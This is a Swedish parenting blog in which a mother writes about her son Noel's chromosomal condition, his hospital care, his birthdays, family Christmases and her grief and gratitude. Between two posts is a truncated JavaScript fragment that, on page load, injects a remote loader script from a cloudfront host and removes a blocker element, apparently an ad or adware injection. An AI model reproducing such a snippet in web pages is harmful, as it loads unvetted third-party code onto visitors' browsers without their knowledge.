Essence Vitae projektet

Vi har fått privilegiet att få medverka i Essence Vitae projektet. För ett par veckor sedan var fotografen Isabella Hesselberg hemma hos oss och fotograferade. Precis emellan ett jobbigt virus och en kommande magsjuka. Alltså blev det ett bra tajmat möte. En fin, solig, inte allt för kall höstdag. Det blev några bilder hemma och några bilder ute. Såklart med Noel i fokus, men även syskonbilder och bilder på hela familjen.

Vi är otroligt tacksamma för detta. Att få minnen förevigade på bild. Bilder som kommer hängas upp, tittas på med glädje i ögonen.

Vi får bilderna om någon vecka eller två. Och jag kommer lägga upp några här på bloggen. Vi har även valt att delta på Essence Vitaes hemsida med bilder och med vår berättelse…det kommer att komma upp så småningom..

Tack Isabelle och alla inblandade!

Här är vår berättelse;
Har du någon gång stått på en avgrund, full av förväntan, förhoppningar och längtan, redo att kasta dig ut i framtiden och omfamna allt vackert som framtiden har att erbjuda? För att sedan känna hur marken under dig rycks undan och istället för att flyga iväg bland kvittrande fåglar och bländande sol, falla ned mot ett bottenlöst, skrämmande, mörkt och okänt mörker.

Nu är det snart tre år sedan vi föll, sedan vi fick lära känna en ny värld, lära känna en ny del av oss själva, vår livspartner, av vår familj, av våra vänner. En ny värld där vissa saker är antingen svart eller vitt eller precis vart som helst där emellan. En värld där varje minut tillsammans är den allra viktigaste och där varje sekund kan vara den avgörande. En värld där dom fina minnena lagras längst in i själen och där dom jobbiga minnena tar plats i huvudet och sakta men säkert bygger upp en mur gjord av oro, skräck, måsten, rädsla och ovisshet. En värld som är annorlunda men också så vanlig. En värld med många sjukhusdagar och många sömnlösa nätter. En värld av skratt från själen och äkta livsglädje, av envishet och vilja och av det största tänkbara hjältemod. En värld av vardag och av sjukhusliv, av nålstick och storhandling. En värld men en sjuk storebror och en frisk lillebror. En värld med den egna bubblan och den andra verkligheten. En värld där dagarna stannar upp eller där dom hastigt försvinner iväg.

Nu är det snart tre år sedan vi skapade och lärde känna en ny värld, ett nytt liv, ett liv med Noel. Vår lilla guldklimp. Han med glimten i ögat och det halvlockiga, lite för rufsiga håret. Han som alltid somnar och vaknar med ett leende på läpparna, ett leende som smittar, likt skrattet som får världen att stanna upp. Han som snart är tre, men ungefär lika stor som ettåriga lillebror, kanske lite större, än så länge. Han som bodde i magen i 9 månader som ”alla andra”, plus 14 dagar extra. Han som kom till världen helt utan problem men som ändå fick hela världen att falla under våra fötter dagen han föddes. En liten kille med en enorm, obeskrivlig livsglädje och vilja att finnas till. En liten kille med en liten kromosomavvikelse. Två hjärtfel, sjuka lungor, en blodsjukdom, analatresi, tillväxthämning och utvecklingsstörning. En liten kille med en sådan stor glädje för livet.

Noel, han som kämpat sedan dag ett. Han som sover med syrgas och får blod i sin port a cath. Han som någon gång kommer lära sig gå. Han som springer i sin gåstol från rum till rum och som skrattar när han åker bil. Han som nästan alltid är glad, och som alltid är modig. Han som nästan tagits ifrån oss ett par gånger men som mirakulöst tagit sig tillbaka. Han, vår lilla trollunge, som lärt oss så ofantligt mycket om livet. Han, är det absolut bästa som hänt oss.

En mamma, en av dom starkaste, sa till mig en gång, en dag i början då allt var som värst, som nyast. Att Noel, han hade valt att komma till oss. Han valde oss av en anledning, för att vi skulle älska, uppskatta, se efter, ge kärlek, oavsett hur han är. Att han valde att komma till oss för att han visste att vi skulle älska Noel så som Noel är. Och det är ju precis så. Vi älskar guldklimpen precis som han är, vår starka, fantastiska, modiga lilla knasunge. En sköterska tittade så snett på mig en gång då jag kallade Noel för min lilla knasunge, men för oss är det ju inte längre något konstigt med ”det där” kromosomknaset. Vi sörjde länge, och gör fortfarande i perioder att Noel inte ”är som alla andra”, men vi har fått så mycket annat, sådant vi inte skulle ha fått om Noel fötts helt frisk utan sin avvikelse. Så mycket som vi lärt oss av livet, av oss själva. Av att uppskatta dom små sakerna i livet och att kunna leva i nuet, njuta av här och nu, av det som ingen kan ta ifrån oss. Vi har lärt oss att se världen, den nya, med helt nya ögon, på ett annat sätt. Kanske mer ödmjukt, kanske ibland bittert, men allt oftast med tacksamhet, över dom dagar vi får tillsammans, över dom dagar vi minns som fina och över dom stunder som får oss att växa starka tillsammans.

Livets väg har vi lärt oss är krokig, den går uppåt, nedåt, den vänder snabbt, kan ibland gå bakåt. Den går sällan rakt framåt. Men som min mamma sagt, om man går vilse hittar man nya vägar. Och ofta känns det som vi famlar i mörkret, som att livets väg står still eller inte går framåt alls, men vi lär oss hitta nya vägar, nya sätt att övervinna mörkrets list. Vi har lärt oss acceptera det annorlunda, lärt oss se det fina i det som inte är självklart. Vi har övervunnit våra egna rädslor och hittat styrkan i varandra. Att få ett barn med handikapp, utvecklingsstörning och allvarliga sjukdomar är tungt, det är kämpigt och ledsamt ibland. Men jag vill att människor ska förstå att det är minst lika underbart och fullt av glädje och kärlek, vi har också en vanlig vardag med matlistor, storstädning, besiktning av bilen, vardagspussel och ”vanliga” aktiviteter. Många saker kanske är annorlunda, många saker måste vi anpassa efter Noel, men vi har skapat vår egen vardag, våra rutiner, det som är bäst för vår familj.

Vi är så tacksamma över att guldklimpen finns hos oss, över den tid vi hittills fått tillsammans. Framtiden är oviss, och ovissheten har en gnagande, oroande effekt. Kanske blir vår hjälte inte så gammal, kanske blir han äldre än lillebror. Ovissheten är det som är jobbigast. Att nästa magsjuka kan kosta honom livet. Men på något sätt lär vi oss leva med ovissheten och tar en dag i taget. En dag av livet i taget. Livet med Noel!

När Noel var några månader fattade jag pennan och började skriva. Ibland ofta, ibland sällan. Idag skriver jag nog mer sällan. Kanske för att behovet inte är lika stort eller för att vardagen är full av annat än tid att skriva. Men arkivet finns kvar. Informationen om Noels diagnoser finns kvar. Och då och då uppdaterar jag om sådant som är viktigt, mindre viktigt eller bara en rolig inblick i vår underbara, annorlunda vardag.

Orden, texterna och bilderna hittar ni på; noelvaldeoss.spotlife.se

Man går aldrig helt ensam på livets väg!

Varma hälsningar,
Carolina, Ted, Noel och Leon.

Julafton

Julafton blev lugn och mysig, dock med två sjuka barn. Dom var glada till och från under dagen men bägge hade feber och var jätte hängiga. Väldigt tråkigt, men så kan det vara. Vi spenderade morgonen hemma och åt julgröt och öppnade paket. Vid lunch åkte vi hem till Teds äldsta bror med familj och åt julbord tillsammans med dem och barnens farmor och farfar. Noel var inte alls pigg utan dippade väldigt mycket i syresättning, så sen julafton har han behövt syrgas dygnet runt igen :(

Vi stannade kvar till efter Kalle Anka och öppnade lite klappar sedan åkte vi hem med två skrikande, gnälliga barn för att kurera oss här hemma. Det var en mysig julafton men det hade varit underbart om barnen hade fått varit friska istället. Men nästa år, då hoppas jag att båda är pigga och krya och kan springa runt och leka :)

2-års kalas

Igår hade vi kalas för vår älskade lilla 2-åring. Kan inte riktigt förstå vad tiden tagit vägen och att Noel fyllt 2 år redan. Vi firade med familj och vänner och det blev en mysig dag med mycket kärlek, skratt och glädje. En dag fylld med fina minnen!

2 år

Du är stora killen nu. I onsdags blev du hela 2 år. Tänk vad tiden går fort min älskling, och så stor du blivit. Tänk vad mycket du kan och vad mycket du lärt dig. Framför allt så tänker jag på vilken resa vi gjort de här 2 åren, på vilken stark och modig kille du är. Du är nog modigare än någon annan jag känner, speciellt din mamma, jag som är så rädd för nålar, och du som fixar alla stick med bravur! Du är nyfiken nu, vill upptäcka världen. Du tar så fina steg i gåstolen och kör dit du vill, krånglar dig in i köket och ut i hallen trots att det är höga trösklar där. Du vill öppna skåp och se vad som finns där i. Du upptäcker nya leksaker och glädjen i dem, och du lär dig hela tiden nya saker.
Du är bättre på att äta nu, äter mest gröt om dagarna men krånglar inte lika mycket med maten nu. Du går upp lite för tidigt på dagen, sissådär runt 05 för det mesta, men du är alltid glad när du vaknar och redo att börja leka. Du trivs egentligen bäst med mamma, om vi busar så där riktigt skojigt, eller om pappa kastar upp dig i luften, då skrattar du så att du nästan kiknar. Ett sådant där skratt som smittar av sig så lätt. Du leker och plockar med dina leksaker på golvet, skrattar åt dom, försvinner lite in i din egen värld, men är alltid nöjd. Om du inte är det så är det oftast för att du är trött eller hängig. Du är visserligen lite svartsjuk på lillebror ibland, men egentligen så är det kanske en bra sak, en naturlig sak, och vi är glada för att du förstår.
Du vill så mycket, det märks så tydligt. Du vill försöka ta dig iväg, upptäcka på egen hand, krypa iväg eller gå. Det är en bit kvar men du kommer lära dig så småningom.

Tänk att du funnits hos oss i 2 hela år nu. Du är så självklar i våra liv och det känns som du alltid funnits här. Du har gått igenom så mycket i ditt korta liv, men du har alltid gått stark ur alla svåra situationer. Jag är så otroligt stolt över dig och så ofantligt glad över att du valde mig och pappa som föräldrar. Jag skulle aldrig vilja ha en annan Noel än dig, i mina ögon är du den vackraste, bästa, finaste, starkaste, mest modiga lilla skruttunge jag vet, och jag älskar dig obeskrivligt mycket! Det fanns vissa läkare för 2 år sedan som inte trodde att du skulle leva idag, men det gör du, och du är den mest levnadsglada lilla kille på jorden. Du är så fruktansvärt envis och du har en enorm livsglädje. Jag önskar ibland att jag var lika glad i livet som du, att jag fick se världen mer ifrån dina ögon! Jag vet att du njuter och att du lever ditt liv till fullo och det gör mig lycklig. Det enda jag vill är att du ska få må bra, och att ditt liv ska vara fyllt av glädje och kärlek. Så länge vi har tillsammans så klarar vi vad som helst, det har vi bevisat under dessa 2 år!

2 år min älskade skatt, tänk att du är så stor nu! Och tänk att du kommer få dras med dina mamma i många, många år till!

Att minnas och uppskatta

Livet springer ifrån mig lite känner jag. Livet har fått vardag med morgon och kvällsbestyr, inrutade vardagar och efterlängtade helger. Inplanerad semester och schemalagda läkarbesök. Vi har en liten, stor, kille på snart 20 månader och om 10 veckor så anländer hans lillebror. Livet går lite för fort fram. Så fort att jag ibland tvingar mig själv att stanna upp och reflektera. Jag blir nästan lite rädd ibland över hur fort man vänjer sig vid en ny livssituation och hur fort det går att börja ta allt för givet igen.

Det var inte alls längesedan vi bodde på sjukhuset, då ena dagen var bra och nästa dålig, då livet en dag svajade på den sköraste tråden men nästa var stabil. Det var inte alls längesedan livet var som en enda berg och dalbana och vi slets mellan hopp och förtvivlan. Det är viktigt att kunna gå vidare, att tillåta livet att fortsätta levas, att uppskatta nuet och det man har. Men för mig känns det lika viktigt att påminna mig själv, att låta mig själv minnas den tiden som var som allra jobbigast, den tiden som gjort att vi hamnat där vi är idag.

Det är så lätt att tjafsa om vem som ska gå upp 05.00 när lilleman vaknar, lätt att bli irriterad över en sömnlös natt pga tänder som är på väg. Det är lätt att tröttna på tjatet om -vad ska vi äta idag, vem ska handla, tanka bilen, hänga tvätt, dammsuga? Alla måsten och vardagssysslor hopar sig lätt till en hög av irritation och suckar. För ett år sedan låg vi sömnlösa för vi var rädda att Noel skulle sluta andas, vi längtade efter att få vara ”som alla andra” och handla i mataffären, laga middag tillsammans, städa hemma hos oss själva och bara vara en familj. Man glömmer lätt då vardagen tar över, en vardag som vi suktade så länge efter men tycktes vara så långt borta. Jag påminner mig själv vart vi varit, för då uppskattar jag det vi har idag betydligt mer. Jag vill inte glömma, förtränga eller sluta tänka på hur vi haft, det är på något sätt det som format hur vi är som familj idag. Vi tar en dag i taget, planerar lite grann men försöker njuta i största mån det går.

Jag vill inte ta något för givet. Jag tar fortfarande inte livet för givet, andetagen, de små stunderna av total glädje och kärlek som familj. Jag vet hur snabbt det kan vända, så istället försöker jag njuta så mycket jag bara kan. Men visst glömmer jag ibland, blir irriterad över ”småsaker” i vardagen, visserligen har det sin charm, men om jag påminner mig själv om vad som är viktigast i livet så gör det mig inget att disken blir stående till dagen efter.

Det är fantastiskt egentligen hur långt vi kommit, vilken resa vi gjort och hur mycket Noel utvecklats det senaste året. För ett år sedan (maj) så kunde han inte andas själv alls, levde tack vare cpap och oändligt mycket syrgas, fick mat endast via sin knapp och orkade inte leka alls. Ett år senare så har han syrgas endast när han sover, han äter 5 mål om dagen själv (oftast) och leker oavbrutet, nu måste han istället underhållas alla vakna timmar och energin tycks aldrig ta slut. Idag kan han sitta själv, stå med stöd, plocka med leksaker, ha ner klossar och skratta när vi busar med honom. Livet ser helt annorlunda ut och så även vår vardag. För det är jag oändligt tacksam, för varje andetag som Noel kan ta utan hjälp. Och att minnas tiden då livet hängde på en skör tråd gör att jag uppskattar livet idag så mycket mer. Jag är stolt över Noel och stolt över oss föräldrar, jag är stolt över Ted och över hur alla nära och kära hanterat hela situationen. Och även om jag ibland är ledsen över vissa saker och sörjer en del saker i livet så är vi lyckliga idag, trygga i vår familj och redo för framtiden. Vi vågar se framåt och vi vågar även minnas.

30 maj i år fyllde jag år och vi firade med familj och vänner. Samma dag för 1 år sedan så satt vi på ett tåg på väg ner mot Lund och Noel flögs ner med hjälp av PETS teamet från ALB. 31 maj förra året så fick Noel sitt hela hjärta. Om man inte hade kunnat operera och laga hans hjärta så hade han inte funnits här idag. Den bittra sanningen är den. Utan sitt hela hjärta hade vi inte varit en hel familj idag. För detta är jag verkligen evigt tacksam. Det var den finaste presenten vi någonsin kunnat få, den bästa födelsedagspresenten. Så i år när jag fyllde så firade vi även att Noel haft sitt hela hjärta i 1 år. Livet lever vidare, men vi slutar aldrig minnas, kanske på gott och ont, men för oss så är det nyttigt att minnas det som varit, det får oss att uppskatta det vi har, och att inte ta saker för givet. Noel är den vackraste gåvan vi kunnat få, vårt lilla mirakel, men en människa med ett eget liv som vi verkligen inte tar för givet!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Julhelgen

Det har varit extremt glest med blogginlägg nu över julhelgen. Jag tog väl lite bloggledigt antar jag. Min syster kom på fredagen och sedan har vi haft ”fullt upp”, fast med sådant som är trevligt och mysigt. På fredagen fixade jag med det sista inför julafton, några paket skulle slås in, griljera skinkan och baka en saffranskaka. Min syster hade med sig otroligt mycket godis, så det blev en hel godishörna vid julgranen, men det är ju lite så det blir på jul, sockerchock de dagarna. På julafton kom delar av Teds familj hit på morgonen för frukost (julgröt) och sedan trängdes vi tillsammans i köket ett tag. Vi spelade julmusik och tog det lugnt. Vi har alltid knytkalas så det var delade arbetsuppgifter i köket och vi åt lite efter 12 på förmiddagen. Sedan öppnade vi paket och såg på kalle anka, vilket nog de allra flesta gjorde. Det blev lite lek och mys i några timmar med de allra minsta, men på kvällen passade vi vuxna på att spela lite spel och äta ännu mer godis. Det blev en väldigt lugn och kravlös julafton, precis som den ska vara. Julen är en tid då man ska umgås med familj och vänner, mysa och ta det lugnt, inte stressa och stå i köket hela dagen. Vi delade upp allt arbete och det var mysigt att göra det tillsammans.

Noel fick en massa fina julklappar, och jag med. Jag fick en mixer som jag önskat mig, så nu kan jag göra massa goda smoothies m.m. Noel fick fina leksaker, och av farbror och Natalia fick han en önskad Bumbo-stol. Han provsatt igår och satt så fint så i den, lekte med lite leksaker. Jag tror den kommer bli kanon att öva att sitta i, däremot var kameran helt död igår, så jag kunde inte ta någon premiärbild, men det hinns nog med idag.

Juldagen var väldigt lugn, en promenad och sedan lek här hemma. Vi åt rester från julbordet och gjorde absolut ingenting på hela dagen, hur skönt som helst. Min syster åkte hem igår, så hon var här hela julhelgen, väldigt mysigt att få rå om varandra lite längre tid. På annandagen tog jag mig ner på gymmet medan min syster tog ett varv på mellandagsrean, Noel och Ted tog en lång promenad och på eftermiddagen fick vi finbesök av våra vänner som just nu bor i Västerås. Det blev lite fika och många skratt, så som det ska vara när man träffar vänner man inte ser så ofta.

Noels förkylning har varit långdragen men på juldagen blev han bättre och var verkligen superglad hela dagen, vaknade med ett skratt och somnade med ett. Det är verkligen en fröjd att se honom så pigg och glad, och han är ju så fantastisk, han skrattar och ler trots att han är jättesjuk, förkyld och febrig, inget kan få den killen att ge upp. Han har nog njutit av julen på sitt egna lilla sätt, många kramar och så massa gos, speciellt med moster och med ena farbror som stannade länge på julafton. Noel är ju inte stilla längre, som vilken ettåring som helst, det är full fart, men när han är sådär mysigt trött, då kan man passa på att få mysa en stund, och det gör vi, myser alltså!

Vi hade hur som helst en väldigt trevlig jul, god mat, härlig stämning och så omringade av underbar familj, dessutom fick vi chans att mysa lite med Noels kusiner, storakusinen är ju jättestor nu och inte alls en liten kille, utan en bestämd 5-åring med glimten i ögat, och så minikusinen på snart 6 månader som får vilken surtant som helst att börja le. Vi träffas inte så ofta så det var mysigt att få stjäla dom en stund.

 

Hoppa ni alla hade en härlig jul och att ni fått vila ut och haft en mysig tid med nära och kära!

Reflektion

Jag såg en bild på tvn igår, ett snötäckt Karolinska. En klump satte sig i magen och jag kände hur ögonen fylldes med tårar. Det känns som att det inte funnits tid att sörja. Tid att förstå, för när man gått igenom något jobbigt med Noel så kommer nästa grej, man har inte tid att känna efter. Och nu när man väl känner efter så brister det liksom.

Det är inte så att jag mår dåligt, jag är långt ifrån deprimerad. Men jag sörjer. Och jag mår illa av alla minnen ifrån första tiden i Noels liv. Jag får tårar i ögonen när jag minns mig själv och Ted sittandes på BIVA och BIMA, vi vågade knappt ta i vårt barn, vi visste ingenting, vi trodde Noel skulle dö. Allt vi längtat efter togs ifrån oss. Jag minns så väl den där känslan av fullständig lycka när Noel kom ut och jag fick upp honom på bröstet, men jag minns också hur lyckad drogs under fötterna på mig, och golvet öppnades till ett stort svart hål som vi föll ned i. Jag fick ett barn, han var min, min son, och i nästa stund var han inte min längre. För det var så det kändes, någon tog mitt barn och försvann, jag minns inte när eller hur, och helt plötsligt satt jag på Neo med min son i famnen, fullt av slangar och sladdar, jag grät hysteriskt och sov inte på flera dygn.

Vi har firat Noels ettårsdag med så mycket kärlek och glädje, vi känner oss så tacksamma över att ha honom här hos oss, i livet, med ett leende på läpparna. Men samtidigt så är det den här tiden som för tillbaka alla känslor och minnen om vad som hände för ett år sedan. Ungefär för ett år sedan kom vi ”hem” till Norrköping och neonatalavdelningen här. Då trodde vi att det var över, att vi snart skulle få komme hem till oss…men istället började en ny resa…en resa som känns oändlig.

Jag sörjer, varje dag sörjer jag det vi inte fick, samtidigt som jag gläds och uppskattar det vackra vi har, vår underbara Noel. Det är en svår balans, och det är svårt att få till det där normala, att vara en del i familjen, julen kommer bli svår, det är svårt när vi ses hela familjen. Just för att jag känner att vi är så malplacerade på något sätt, vi passar inte in någonstans direkt. Det har gått över ett år sedan Noel föddes, men ändå känns det inte som att någon förstår. Jag skulle önska att alla våra nära och kära också fick vara med på BIVA, att de också såg hur jobbigt det är när nålar ska sättas och undersökningar måste göras. Jag önskar att de såg den biten också, den där sårbara sidan, och inte bara glada, pigga Noel som rullar runt på golvet…Kanske skulle alla förstå oss bättre om vad som är jobbigt om dem fick vara mer involverade i alla sjukhusbesök osv, det är ju trots allt en del av vårt liv, en stor del av Noels liv….

Jag bara önskar att Noel fick bli frisk, att allt kunde vara mer normalt, utan sjukdomar och oro…..

Noels 1-års kalas

Vi firade Noels 1-årsdag igår med släkt och vänner. Det var smidigare då det var helg och de flesta var lediga. Det blir en fin dag, tårta och ballonger :) Födelsedagsbarnet sov dagen till ära, somnade när de flesta hade kommit och vaknade när den sista gick hemåt, ungefär som när han var liten och vi fick besök på sjukhuset, då sov han oftast igenom alla besök…

Så därför så öppnade vi ju såklart några paket tillsammans idag istället och åt lite tårta och blåste ljus idag. Noel åt grädden, resten fick vi föräldrar (tyvärr) äta upp ;).

Jag har svårt att beskriva i ord hur mycket de här dagarna har betytt för oss. Just nu så har Noel precis somnat och jag kikar på honom med tårar i ögonen, ungefär som när vi bakade tårtan häromdagen, jag grät igår när jag skulle garnera och skriva Grattis Noel 1 år. Inte för att jag är ledsen direkt, utan för att jag är glad. Det är som dopet, en så stor dag för oss, 1-års dagen är en så gigantisk milstolpe i våra liv, nu kan jag skryta om att jag minsann har en fantastisk ettåring hemma. Tänk att han har kämpat i ett år nu, det är helt fantastiskt, vilken fantastisk son vi har, på så många sätt. Därför så gråter jag lite, några glädjetårar längs kinderna, för vi har tagit oss så långt, kämpat i ett år nu. För exakt ett år sedan så satt vi på BIMA i Stockholm och visste ingenting, skulle Noel dö? Vad var han för sjuk? Hur hade allt gått till? Vi förstod ingenting, visste ingenting. Och här sitter vi nu, ett år senare, obeskrivligt mycket mer erfarna än då, så mycket mer i vårt bagage, så många fler kapitel i vår bok. Och ett år mer av kärlek och värme…..

Jag kan inte beskriva, inte förklara. Det är så många känslor. Känslor av glädje, lycka och hopp! Om ett år vill jag sitta här igen, berätta om hur stolt jag är över min tvååring som kan ditt och datt och som kanske till och med äter mer än grädden på tårtan :) Ge mig fler år, fler år av glädje och kärlek med Noel!

Den obligatoriska godistårtan, en sådan min mamma alltid bakade på födelsedagar!


Tänk att vår Noel har fyllt 1 år. Vi har nu en livlig, busig och glad ettåring här hemma, det är obeskrivligt!


GRATTIS ÄLSKADE NOEL 1 ÅR

Idag är ingen vanlig dag, för idag är det Noels födelsedag….:)

Tänk att du äntligen har fyllt 1 år. Den megastora dagen som vi gått och väntat på. Nu är det hela 1 år min älskade son. 1 år av obegränsad, villkorslös kärlek, 1 år av lycka, glädje och skratt. 1 år av värme, närhet och kramar. 1 år som vi har levt tillsammans alla tre. Grattis mitt starka lejon, idag har du funnits hos oss i 1 år, idag är dagen som bara är din, idag så firar vi att du finns hos oss, idag så firar vi allt det som vi tagit oss igenom. Denna dag är bara din, Noels stora dag, din 1-års dag, din födelsedag.

Tack för att du valde oss, tack för att vi får dela varje dag med dig, du är så fantastisk min lilla busunge. Tack för att du funnits hos oss i 1 år, det bästa året i mitt liv. Mitt första år som mamma, mamma till världens bästa, starkaste, finaste Noel. Tack för att du är du!

GRATTIS, GRATTIS, GRATTIS MIN ÄLSKADE SKRUTT, IDAG ÄR DU 1 ÅR!!!!

Det gick bättre…

Det gick bättre att sätta nål idag och Noel fick blod till slut. Men jag tror han börjar bli mer medveten om vad sjukhuset innebär och han känner igen sig i behandlingsrummet. De senaste gångerna så har han börjat gråta så fort vi går in och han ser fiskarna i taket etc. Men det gick mycket bättre idag, och det var skönt. Sedan sprang vi ut ur rummet och in på ett annat mer avslappnat rum (sjukhusrum avslappnande?!), då kom han mer till ro och kunde leka medan blodet gick in. Så det gick smidigt idag, blodet gick in på 2 timmar så det tog inte hela dagen. Fast sedan gick jag och Noel bort till Neo och skulle be om nya grimmor, så träffade vi underbara Helene och några andra fantastiska själar, saknar Annelie, det var längesedan vi sågs nu! Så tiden gick ju medan vi pratade skit en stund, men sedan promenerade vi hem och Noel somnade i vagnen…då hade han varit vaken i 12 timmar, eller nja, han sov en timme på fm, men ändå…han var gräsligt trött.

Har köpt andra blöjor, vi har alltid kört på Libero, jag tycker egentligen inte om Pampers, men nu provar vi. Alltså, Noel är ju liten i storlek, men rör sig ju betydligt mer än vad vikten säger. Så dom där blöjorna för 5-8 kg lossnar ju, flyger iväg i farten när han snurrar runt och försöker ta sig fram. Skulle vilja ha easy-up men dom är bara från 7kg, och det är ju 1 kg dit. Fast man kanske ska prova ändå?

Annars då? Noel är glad, rätt pigg. Han behövde nog blod, eller det vet vi ju när vi ser på hans blodvärden. Jag är rätt pigg och glad. Noel gör mig så otroligt glad. Han är så sjukt rolig, han har humor, det tycker jag är kul, han är busig och det är jag med. Jag längtar tills vi kan leka mer tillsammans, alltså med bilar och lera typ. Fast det gör mig inget om det dröjer heller, jag tar det i Noels takt. Idag kom farmor på besök, Ted jobbar ju kväll och jag gillar inte att vara själv på kvällarna av olika anledningar, det är ju tråkigt för det första. Men det märks att det bara var vi kvinnor, och så Noel då, för helt plötsligt blev klockan 21, bara sådär. Det är underbart att ha så fantastiska svärföräldrar, och att de bryr sig så mycket som de gör. Jag har ju en extra familj här, precis som Ted har en i Dalarna. Vi har nog de absolut bästa föräldrarna vi kan önska. En dag hoppas jag att jag bor närmare min föräldrar, då skulle det kännas mer komplett. Men jag har dom alltid nära ändå, på andra sätt, och det är det som är viktigt.

Förresten, jag har glömt att skriva att Noel nu passerat 6kg :) HURRA, nu står vågen på 6110g, helt fantastiskt! Bara 900g kvar till 7kg, så länge han inte går ner så går det ju faktiskt rätt bra framåt :) Kommer ni ihåg att Lund först ville att Noel skulle väga 6kg inför hjärtoperationen?? Då hade den blivit av nu, ca 6 månader senare. Jag tror helt ärligt att Noel inte hade levt idag i så fall. Jag är evigt tacksam över att man lyckades operera honom ändå. Jag är tacksam för varje dag. Ingen dag är förgäves, hur jobbiga de än må vara. Livet är meningsfullt, och så meningsfullt på grund av just Noel. Meningen med mitt liv var att bli mamma, det har jag alltid velat, och meningen var att bli mamma till Noel, av en anledning, han valde oss av en anledning, det kommer jag aldrig glömma!

Min superhjälte!